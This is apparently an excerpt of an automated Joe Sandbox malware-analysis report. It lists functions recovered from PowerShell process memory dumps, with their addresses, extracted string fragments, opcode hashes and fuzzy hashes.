Instruction Fuzzy Hash: 1BE0C22230A3D41B470A926EA8204263BAEC7C752132A84BBE404CB206EC65DC0683A1

Function 0497F7B8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f2a67906c26b9e35aeaff36c9f43f094a7a5dbb979224146dd9d71b5ea77e7
Instruction ID: 2079115d8d412c68693ccc1c399ee583a92643d3a58e02da2dedd19d12d068b1
Opcode Fuzzy Hash: a4f2a67906c26b9e35aeaff36c9f43f094a7a5dbb979224146dd9d71b5ea77e7
Instruction Fuzzy Hash: 7DE0C231740A144B8725A66FB91085FBBDAEFC4764355803EE12AD7704DEA0EC0547D5

Function 0497B070 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7aea66ba347f18c8dc60431fa94a0b6dc4ef43f8ca2aa4601231c2ac6506423
Instruction ID: dd821237f3fbe5817ed0dba1117ec547cdecf43428535f6a939da38d23607877
Opcode Fuzzy Hash: f7aea66ba347f18c8dc60431fa94a0b6dc4ef43f8ca2aa4601231c2ac6506423
Instruction Fuzzy Hash: 16D09E6275012517AA14A5BA181177BA2CECAC65A9F0605369E09C7246FD49FC0143F1

Function 0497F808 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 6add7afd0ae44066d6ea989fdb5eb32f2db860b9e5d7b482fe80d39f46cbd83f
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 54E08631B00014A78B089559D4144D9F7AADBCC324F04847AD90AA7341EA32691587E1

Function 0497A320 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d345316bf1ea62577bdfc6a8454fedc2f3b73619572c1da2a21bd945465bb88
Instruction ID: fd65ce7808cfe1bbfa2a7fd368957d88c90a47363fb0006e5dbf23259d714fb3
Opcode Fuzzy Hash: 3d345316bf1ea62577bdfc6a8454fedc2f3b73619572c1da2a21bd945465bb88
Instruction Fuzzy Hash: 6DE09A349046489BCB21EFA8D46A1BDBFB4EB4A301B4008A9ED4997A11EA312861CBC0

Function 0497FEB0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 026dcb6118e5b0a7dcc0c99492f66265ba4e71925fcf66c6d072cd0c157a3045
Instruction ID: 59ee71f240c41e136711894c00e0bf170cee499a09b3e811b05a2bd7bb0ce594
Opcode Fuzzy Hash: 026dcb6118e5b0a7dcc0c99492f66265ba4e71925fcf66c6d072cd0c157a3045
Instruction Fuzzy Hash: 42E01A70E11216DECB40DFA8C8411AABFF0EF49200B2089AAD508EB215E7324A16CB91

Function 0497FEC0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: e4e2c060d2ac8fb9342967f8714e56a878ab2e11f977fb597b38f3d815b7cdcb
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 00D04C70D052099F8780DFA9894156DFBF4AB49200B5485AA9919E7201E63156128BD1

Function 0497A268 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edf985a27744108690c2dc31ebc13d68312966534dc8549c80dff0e3597efced
Instruction ID: 889940fb639b2f3e685963b8136a37093cc8501a79d72146274717a45fd126c8
Opcode Fuzzy Hash: edf985a27744108690c2dc31ebc13d68312966534dc8549c80dff0e3597efced
Instruction Fuzzy Hash: F6D067309042098BDB18ABA5E85A4FDBB74EB18601F41117DEA1753291EF312A5ACBC1

Function 0497A330 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 462399a35908a79a16673e7561476c826e4f1b328c4d0d5e9787ec0654c1d7f5
Instruction ID: 9b9a3cda63d147d6adfc470e5c255cc82801be7847f593c02a2522671b7fbb24
Opcode Fuzzy Hash: 462399a35908a79a16673e7561476c826e4f1b328c4d0d5e9787ec0654c1d7f5
Instruction Fuzzy Hash: 03D01734A042098B8754EFA4E44A5AEBBB9EB48205F005169E909A3740EA312942CFC0

Function 049795C0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c72379735dcbadf3f007ba48d4eac46378fa6d3c8cca84c5ae2a644dfaaed95
Instruction ID: c531ce04aeec0c7e3c513c33624f176f3b0bc349d190fa76719aadc2d845ccb9
Opcode Fuzzy Hash: 1c72379735dcbadf3f007ba48d4eac46378fa6d3c8cca84c5ae2a644dfaaed95
Instruction Fuzzy Hash: D3C08C360483088FC704ABB1F00A6A47729AB41318B800896EA0F466828E3BA4868941

Function 04979B30 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c708aaf6fb34838d9de0ae70307767d6a7dbee79189b26fe5c68d5edb42b4e1
Instruction ID: 216babed2ba5df90daa83abc7612acf005a1f44e2abedc69d323788b375533fb
Opcode Fuzzy Hash: 2c708aaf6fb34838d9de0ae70307767d6a7dbee79189b26fe5c68d5edb42b4e1
Instruction Fuzzy Hash: B8C04C67A292D41EFF17D23804591A5BF75D643305F1E88D28D41CA072D4245815E715

Function 049795C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d62559804149e02b6d6ad0a584c42a35d50a1b8102208f6c1034df6fa54c3a
Instruction ID: 3bd27e7fcffd13f42bacd46fd065fe117eb18b6e66fe12a3e89adf3cc0698ca3
Opcode Fuzzy Hash: 68d62559804149e02b6d6ad0a584c42a35d50a1b8102208f6c1034df6fa54c3a
Instruction Fuzzy Hash: 22B092310443098FC309AF75E409828B36ABA8020978008A9E90F0A2928E3BE851CA45

Function 04979188 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdb705b25ef0a9c6e641e5158c2dcad86cf436c99fd843d6a308415a06631d93
Instruction ID: c5bd13457dd38648183a2de847b9c85e119fa3ff876e8bb8ee7aed308bb02eb0
Opcode Fuzzy Hash: bdb705b25ef0a9c6e641e5158c2dcad86cf436c99fd843d6a308415a06631d93
Instruction Fuzzy Hash: C2A00276B251515BFF4CDA39566A73A773397C1201705C87A5103C0054DD345051F704

Non-executed Functions

Function 07802BD8 Relevance: 15.3, Strings: 12, Instructions: 285COMMON

Download Yara Rule

Strings

841l, xrefs: 07802DC4
J4l, xrefs: 07802E63
tP^q, xrefs: 07802E43
841l, xrefs: 07802DCE
J4l, xrefs: 07802F26
J4l, xrefs: 07802DF9
$c&k, xrefs: 07802F0C
4'^q, xrefs: 07802DED
J4l, xrefs: 07802F1A
tP^q, xrefs: 07802E37
4'^q, xrefs: 07802DE1
J4l, xrefs: 07802E6F

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: $c&k$4'^q$4'^q$841l$841l$tP^q$tP^q$J4l$J4l$J4l$J4l$J4l
API String ID: 0-3260698299
Opcode ID: 9584741550a246b52f39d8b56fe80c7125ad4dc877709d83be76b7d7573f99af
Instruction ID: 08b20ddcc5b25a13bc0a9332d87ae0f6484d7fbae3f1ec3fae355c9fbdbcbf7a
Opcode Fuzzy Hash: 9584741550a246b52f39d8b56fe80c7125ad4dc877709d83be76b7d7573f99af
Instruction Fuzzy Hash: 08913BB6B4421A8FC7649F689C08667FBA6BFD1310F2484ABC905CB296DBB1CC45C7D1

Function 07800413 Relevance: 12.7, Strings: 10, Instructions: 202COMMON

Download Yara Rule

Strings

tP^q, xrefs: 0780063D
4c^q, xrefs: 07800709
4c^q, xrefs: 07800713
$^q, xrefs: 0780045A
4c^q, xrefs: 078005A4
4c^q, xrefs: 078006FF
4'^q, xrefs: 0780047B
841l, xrefs: 078005E2
$^q, xrefs: 07800466
4'^q, xrefs: 07800487

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4c^q$4c^q$4c^q$4c^q$841l$tP^q$$^q$$^q
API String ID: 0-3498074479
Opcode ID: fddc7eee37eb704798f31802a90383519423f54306853e07b3730a203c148c0d
Instruction ID: 99f6edb4cc8770babd36766661dc420ce78571bed630eac3ed7a88013ae819b9
Opcode Fuzzy Hash: fddc7eee37eb704798f31802a90383519423f54306853e07b3730a203c148c0d
Instruction Fuzzy Hash: 506175B0B043188FC7694F289C44769BFA2AF96754F1884AAD445EF2D2CB35CC05CBE2

Function 07802F5F Relevance: 12.6, Strings: 10, Instructions: 112COMMON

Download Yara Rule

Strings

Tc&k, xrefs: 07803062
J4l, xrefs: 078030B5
J4l, xrefs: 07802FAE
J4l, xrefs: 07803034
$^q, xrefs: 07802FCA
J4l, xrefs: 07802FA2
$^q, xrefs: 07802FBE
lc&k, xrefs: 078030A7
J4l, xrefs: 0780302A
J4l, xrefs: 078030C1

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: Tc&k$lc&k$$^q$$^q$J4l$J4l$J4l$J4l$J4l$J4l
API String ID: 0-831582760
Opcode ID: a08468139ac640d3badf0b930c6a78faa3d2cb1bbd4a1ccaf9941ab6af90c4d9
Instruction ID: 129690174a2c433cdbd371a8804d4488e173988d35c742b580dba1feb8a9955f
Opcode Fuzzy Hash: a08468139ac640d3badf0b930c6a78faa3d2cb1bbd4a1ccaf9941ab6af90c4d9
Instruction Fuzzy Hash: 4E3125B1A093864FC3224B285C12652BFB67FA2750F2985ABC040CF6E6D6358C44C3E3

Function 07800510 Relevance: 11.5, Strings: 9, Instructions: 294COMMON

Download Yara Rule

Strings

tP^q, xrefs: 0780063D
tP^q, xrefs: 07800649
4c^q, xrefs: 07800709
4c^q, xrefs: 07800713
Q?i, xrefs: 0780081D
4c^q, xrefs: 078005A4
4c^q, xrefs: 078006FF
841l, xrefs: 078005E2
841l, xrefs: 078005EE

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$841l$tP^q$tP^q$Q?i
API String ID: 0-2639105683
Opcode ID: f31b5287efb2581056d9645389da8b3b1311a0b51d79eff9210e3fe88eaf1525
Instruction ID: ca91198aad9ad6ca3600dd481d1e7234838f0c3db148d90925af6c1ad8292ffb
Opcode Fuzzy Hash: f31b5287efb2581056d9645389da8b3b1311a0b51d79eff9210e3fe88eaf1525
Instruction Fuzzy Hash: 05A133B1F002199FCB185F689C1476EBBA2BB95350F148869E845DF391CF32DC458BE2

Function 07800AB8 Relevance: 9.2, Strings: 7, Instructions: 497COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07800C26
4'^q, xrefs: 07800F9E
4'^q, xrefs: 07800F92
r3l, xrefs: 07800F65
fcq, xrefs: 07800F7B
r3l, xrefs: 07800F5B
4'^q, xrefs: 07800C1C

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: fcq$4'^q$4'^q$4'^q$4'^q$r3l$r3l
API String ID: 0-115197805
Opcode ID: b151afdc313de2e3f9f3897833014f0aeb282e2148bce76f219c586403bf24da
Instruction ID: c290647cec70529dacb181252134abdbdf74d576e955df27e5ac80037262d20d
Opcode Fuzzy Hash: b151afdc313de2e3f9f3897833014f0aeb282e2148bce76f219c586403bf24da
Instruction Fuzzy Hash: 63F157B1B042598FC7159F68D81476ABBE2AFD2324F14C47AD549CB292DB32CC46CBE1

Function 078004EF Relevance: 7.7, Strings: 6, Instructions: 155COMMON

Download Yara Rule

Strings

tP^q, xrefs: 0780063D
4c^q, xrefs: 07800709
4c^q, xrefs: 07800713
4c^q, xrefs: 078005A4
4c^q, xrefs: 078006FF
841l, xrefs: 078005E2

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$tP^q
API String ID: 0-369957374
Opcode ID: f0d5c5c0b3327378b9cdce1f9c5a1dc610748d004f52a3391a8fc034e3b33f38
Instruction ID: 2357c489fbab5d4ed96b127735e8d7ece187cf066fdaf7bcfc6720fac8b4238c
Opcode Fuzzy Hash: f0d5c5c0b3327378b9cdce1f9c5a1dc610748d004f52a3391a8fc034e3b33f38
Instruction Fuzzy Hash: 235125B1A00209DFCB248F68D8457A9BFA2BF55310F188596E845EF2D2CB35DC44CBE1

Function 049796A8 Relevance: 6.5, Strings: 5, Instructions: 248COMMON

Download Yara Rule

Strings

`_q, xrefs: 0497982A
`_q, xrefs: 049797AB
`_q, xrefs: 049798CC
`_q, xrefs: 0497994A
tM3l, xrefs: 0497975C

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$`_q$`_q$`_q$`_q
API String ID: 0-364041226
Opcode ID: d63abec18ca6d50b429dbf33eb57df8f5763a32a08f9c414900caf2b050c4add
Instruction ID: 047d791a979cba821f1e381f1b6c47d2b99a9c5c1ac2601df666555cd82e9381
Opcode Fuzzy Hash: d63abec18ca6d50b429dbf33eb57df8f5763a32a08f9c414900caf2b050c4add
Instruction Fuzzy Hash: 8AB1B574E012099FDB54DFA9D990A9DFBF6FF88300F208629D419AB315EB70A945CF90

Function 049796B8 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 0497982A
`_q, xrefs: 049797AB
`_q, xrefs: 049798CC
`_q, xrefs: 0497994A
tM3l, xrefs: 0497975C

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$`_q$`_q$`_q$`_q
API String ID: 0-364041226
Opcode ID: fe528b9006e00dc8f76ddbfc76208fea0c4a20733207bd5c42b2e2e592a9319b
Instruction ID: 7cb8e17dd7439ebb9ff6a88dac1efd3eefce83951913fc98f7292958068cda1c
Opcode Fuzzy Hash: fe528b9006e00dc8f76ddbfc76208fea0c4a20733207bd5c42b2e2e592a9319b
Instruction Fuzzy Hash: 12B1A474E012099FDB54DFA9D990A9DFBF6FF88300F208629D419AB315EB70A945CF90

Function 07801570 Relevance: 5.1, Strings: 4, Instructions: 66COMMON

Download Yara Rule

Strings

(_^q, xrefs: 078015B9
(_^q, xrefs: 0780159B
(_^q, xrefs: 078015A5
(_^q, xrefs: 0780157E

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: fa6da9a06380916fa85a96c6d9813e0e809692f4352ac27f3d16baa475e302bd
Instruction ID: 8a9d32c61dc6e2816f5e6cbd1010ccf6fae4930ae471343b705deb243746292d
Opcode Fuzzy Hash: fa6da9a06380916fa85a96c6d9813e0e809692f4352ac27f3d16baa475e302bd
Instruction Fuzzy Hash: 3311B6FAF102198BC7189E5E980402AF7EA9FE6735728847ED516CB390DE32D805CBD0

Function 07801553 Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

(_^q, xrefs: 078015B9
(_^q, xrefs: 0780159B
(_^q, xrefs: 078015A5
(_^q, xrefs: 0780157E

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 291989d1fd871fedf71f9c156351731095dee25ecfb4e61141ef28fa054430a5
Instruction ID: bda866c8a8e7fb75d649919f6e1b5b84eec8a339fd08e3f73df0afa94d84128a
Opcode Fuzzy Hash: 291989d1fd871fedf71f9c156351731095dee25ecfb4e61141ef28fa054430a5
Instruction Fuzzy Hash: 6A01F5F9E143495FC7155E5E48140A9BFF5AFE372036D409BC012DF2D2DA35980AC7A1

Analysis Process: powershell.exePID: 1236, Parent PID: 7068COMMON

Executed Functions

Function 07B833E0 Relevance: 23.3, Strings: 18, Instructions: 831COMMON

Download Yara Rule

Strings

J4l, xrefs: 07B8364D
4'^q, xrefs: 07B83663
r3l, xrefs: 07B837B9
J4l, xrefs: 07B834A9
<c&k, xrefs: 07B83633
J4l, xrefs: 07B83607
J4l, xrefs: 07B8384A
J4l, xrefs: 07B83641
J4l, xrefs: 07B83457
J4l, xrefs: 07B83856
r3l, xrefs: 07B837AF
4'^q, xrefs: 07B8386D
4'^q, xrefs: 07B83879
J4l, xrefs: 07B8349D
J4l, xrefs: 07B837FE
4'^q, xrefs: 07B8366F
)l, xrefs: 07B836EA
)l, xrefs: 07B836DC

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c&k$J4l$J4l$J4l$J4l$J4l$J4l$J4l$J4l$J4l$r3l$r3l$)l$)l
API String ID: 0-2108128534
Opcode ID: 89141b3c65ea22d15de1ccd4cbbe90145de9863a6dd1c95f356ea1417546c832
Instruction ID: 22f25ef26c5ea992b2c13c27b34267384fedd406f93f9249772460c9132db0b9
Opcode Fuzzy Hash: 89141b3c65ea22d15de1ccd4cbbe90145de9863a6dd1c95f356ea1417546c832
Instruction Fuzzy Hash: 895234F1B00206DFEB50AF69D8406AEBBE6EF85710F1484BAD905CB351DB36C945CBA1

Function 07B83E30 Relevance: 9.2, Strings: 7, Instructions: 483COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07B840DF
4'^q, xrefs: 07B83ED4
$^q, xrefs: 07B8424B
$^q, xrefs: 07B84291
4'^q, xrefs: 07B83EC8
$^q, xrefs: 07B84285
4'^q, xrefs: 07B840D3

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3199432138
Opcode ID: b43fb1f31e934ca0612851a223f595741f84dd619219a3df2a3447fb99bae933
Instruction ID: 4bfa181aff883d0f23b05de9e40179119b19b83dc959da48faa29876fb4ac31d
Opcode Fuzzy Hash: b43fb1f31e934ca0612851a223f595741f84dd619219a3df2a3447fb99bae933
Instruction Fuzzy Hash: 19F126F1B042978FEB54AF69C80066ABBE2EF86611F1484FBD509CF251DB36C845C7A1

Function 034DDA20 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

(bq, xrefs: 034DDB45

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: dcd4f06ee2f9a6b70b4c2c9f075b7545665b12ca7438737a876f8d28b9f3b5e7
Instruction ID: 2c53ae91a0be65213b75fa65380d6b8cbb6cdf1ceae5296d0744ed729fe9701f
Opcode Fuzzy Hash: dcd4f06ee2f9a6b70b4c2c9f075b7545665b12ca7438737a876f8d28b9f3b5e7
Instruction Fuzzy Hash: FA811834B002158FCB18DF69C4A8AAEBBF5AF8E714F194099E406EB3A5DB35DC01CB54

Function 07C60490 Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

,5p, xrefs: 07C604AC

Memory Dump Source

Source File: 00000020.00000002.2338252067.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7c60000_powershell.jbxd

Similarity

API ID:
String ID: ,5p
API String ID: 0-3076594015
Opcode ID: f59312a943038c7c941a05c9a633d07ab704d05f9c1610d51d3ae7ddfa094216
Instruction ID: 9c5109c4328132d51325c02d593cc9666f260c07c88856209c358f84797b70ff
Opcode Fuzzy Hash: f59312a943038c7c941a05c9a633d07ab704d05f9c1610d51d3ae7ddfa094216
Instruction Fuzzy Hash: F7516EB1E0461A8BDB14DFA9C9C8BAEBBF0FF48304F148069D915B7250EB74D980CB95

Function 07C60481 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

,5p, xrefs: 07C604AC

Memory Dump Source

Source File: 00000020.00000002.2338252067.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7c60000_powershell.jbxd

Similarity

API ID:
String ID: ,5p
API String ID: 0-3076594015
Opcode ID: 275fed5cd548ad95224affaf27f1543949836f23e962ddbf180c92cefc8dabd6
Instruction ID: 252b6d89f558c5af9e8529ae4501ea3881a22f1fa662c43db0c5528b08851186
Opcode Fuzzy Hash: 275fed5cd548ad95224affaf27f1543949836f23e962ddbf180c92cefc8dabd6
Instruction Fuzzy Hash: F1516CB0E0561A8FDB15DFA9C9C8AAEB7F0FF88304F048069D915B7251EB74D980CB95

Function 07B83F9D Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07B840D3

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 531a54251b8f013450d7ffb5f9c0191581439efb9fc8c3ee17629a989aedc353
Instruction ID: 329593ff4bb536981c9b69f8a8926ee70a0489e8635c34b44d52a330bdf06352
Opcode Fuzzy Hash: 531a54251b8f013450d7ffb5f9c0191581439efb9fc8c3ee17629a989aedc353
Instruction Fuzzy Hash: 193104F1A00363CBEBA0EF18C840A2BBBE2EF55614F1585E5D914CF250D735C880CBA1

Function 034DFBA0 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

,5p, xrefs: 034DFBCC

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID: ,5p
API String ID: 0-3076594015
Opcode ID: c2474a30765988001eb7809f49f3a856d0c527cd2a41197fb3e35382a1f77add
Instruction ID: e474d61cbf31b2e060e83c38578ca115031efd576949fdccee5733e5156b0356
Opcode Fuzzy Hash: c2474a30765988001eb7809f49f3a856d0c527cd2a41197fb3e35382a1f77add
Instruction Fuzzy Hash: A1319A759007448EDB60DF6AD4883CAFBF2FB88320F28841ED85EAB315C77454858F94

Function 034DFBB0 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

,5p, xrefs: 034DFBCC

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID: ,5p
API String ID: 0-3076594015
Opcode ID: 229eb9310c986f5366b30acb47d2a24552560cad4829367809ef6f75fe843e57
Instruction ID: 43d81a0e0229fb2ddd456b28e6af5ac61c63b9ad09ba9cc807f492419674adba
Opcode Fuzzy Hash: 229eb9310c986f5366b30acb47d2a24552560cad4829367809ef6f75fe843e57
Instruction Fuzzy Hash: 7F219C749007448EDB60DF6AC08838AFBF6FB88714F28C05ED84E9B315C7746485CB54

Function 034DC880 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc042be0953bae4569af963465863791903f4f555c83562d6c4154e99db44958
Instruction ID: 6b4cc0e95d17be13bda857341fd1c5937c76082b115488e557a5dec768922b19
Opcode Fuzzy Hash: bc042be0953bae4569af963465863791903f4f555c83562d6c4154e99db44958
Instruction Fuzzy Hash: B8124B74A002099FCB15CF68D594AAEFBF2FF88310F25859AE855AB365C731EC41CB94

Function 034D89E0 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb724a91c119e6379064f93ddcbeb6cb30c2870db8a89a75b577eaa0c0e1487e
